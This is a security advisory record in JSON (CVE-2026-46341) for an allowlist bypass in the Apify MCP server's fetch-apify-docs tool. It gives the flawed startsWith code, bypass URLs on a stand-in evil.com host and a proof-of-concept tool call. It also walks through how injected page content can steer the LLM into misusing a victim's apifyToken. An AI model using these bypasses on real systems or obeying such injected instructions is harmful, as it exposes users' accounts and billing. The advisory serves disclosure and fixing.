{"id":"CVE-2026-46341","aliases":["GHSA-jwp7-wg77-3w9v"],"url":"https://o3.security/vulnerability/CVE-2026-46341","summary":"Apify MCP server: Domain Allowlist Bypass in fetch-apify-docs via String Prefix Matching","details":"### Summary\nThe `fetch-apify-docs` tool validates URLs against a domain allowlist using `String.startsWith()` instead of proper URL hostname comparison. This allows bypass via attacker-controlled subdomains (e.g., `https://docs.apify.com.evil.com/`), enabling the tool to fetch and return arbitrary web content to the LLM.\n\n### Details\n#### Vulnerable component\n\n`src/tools/common/fetch_apify_docs.ts`, line 51:\n\n```typescript\nconst isAllowedDomain = ALLOWED_DOC_DOMAINS.some((domain) => url.startsWith(domain));\n```\n\n`src/const.ts`, lines 167-170:\n\n```typescript\nexport const ALLOWED_DOC_DOMAINS = [\n    'https://docs.apify.com',\n    'https://crawlee.dev',\n] as const;\n```\n\n#### How the bypass works\n\n`String.startsWith('https://docs.apify.com')` matches any string beginning with that prefix, including:\n\n- `https://docs.apify.com.evil.com/payload` - attacker-controlled subdomain\n- `https://docs.apify.com@evil.com/payload` - userinfo component in URL (browser behavior varies, but `fetch()` in Node.js may follow this)\n- `https://docs.apify.com.evil.com:8080/path` - custom port on attacker domain\n\nAll of these pass the `startsWith` check because they begin with the exact string `https://docs.apify.com`.\n\n#### The fetched content is returned to the LLM\n\nAfter the allowlist check passes, the tool fetches the URL and returns the full page content as markdown (`fetch_apify_docs.ts:69-103`):\n\n```typescript\nconst response = await fetch(url);\n// ...\nconst html = await response.text();\nmarkdown = htmlToMarkdown(html);\n// ...\nreturn buildMCPResponse({ texts: [`Fetched content from ${url}:\\n\\n${markdown}`], ... });\n```\n\nThe HTML is converted to markdown and returned verbatim to the LLM. This creates a prompt injection vector - the attacker's page can contain instructions that the LLM may follow.\n\nWhile tools like `get-html-skeleton` have no domain allowlist at all - it accepts any URL. The `fetch-apify-docs` tool was clearly intended to be more restricted (documentation-only), but the `startsWith` check defeats that intent.\n\n### PoC\n```json\n{\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"fetch-apify-docs\",\n    \"arguments\": {\n      \"url\": \"https://docs.apify.com.evil.com/prompt-injection-payload\"\n    }\n  }\n}\n```\n\nThe URL passes the `startsWith('https://docs.apify.com')` check, fetches the attacker's page, and returns its content to the LLM.\n### Impact\n- **Prompt injection via fetched content**: Attacker hosts a page at `docs.apify.com.evil.com` containing LLM instructions. When the tool fetches and returns this content, the LLM may follow the injected instructions.\n- **Security boundary violation**: The allowlist was explicitly designed to restrict fetching to trusted documentation domains. The bypass defeats this intent.\n- **SSRF (limited)**: The tool can fetch from attacker-controlled servers, though the primary risk is the content returned to the LLM rather than network access.\n- **Account compromise via _meta.apifyToken**: Injected prompt instructions can direct the LLM to include a specific `_meta.apifyToken` (the server's per-request token feature) in subsequent `call-actor` invocations, redirecting billable operations to a victim's account or accessing their private Actors","published":"2026-07-16T16:54:01.843Z","modified":"2026-08-12T03:51:10.221681733Z","cvss":{"score":6.1,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},"epss":{"score":0.00338,"percentile":0.26227,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@apify/actors-mcp-server","fixedVersion":"0.9.21"}],"fix":{"url":"https://github.com/apify/apify-mcp-server/commit/e39bdee530da1db0b3b3d3713558b33c9608e629","label":"apify/apify-mcp-server@e39bdee"},"references":[{"type":"WEB","url":"https://github.com/apify/apify-mcp-server/releases/tag/v0.9.21"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/46xxx/CVE-2026-46341.json"},{"type":"ADVISORY","url":"https://github.com/apify/apify-mcp-server/security/advisories/GHSA-jwp7-wg77-3w9v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46341"},{"type":"FIX","url":"https://github.com/apify/apify-mcp-server/commit/e39bdee530da1db0b3b3d3713558b33c9608e629"},{"type":"FIX","url":"https://github.com/apify/apify-mcp-server/pull/781"},{"type":"PACKAGE","url":"https://github.com/apify/apify-mcp-server"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:10.221681733Z"}}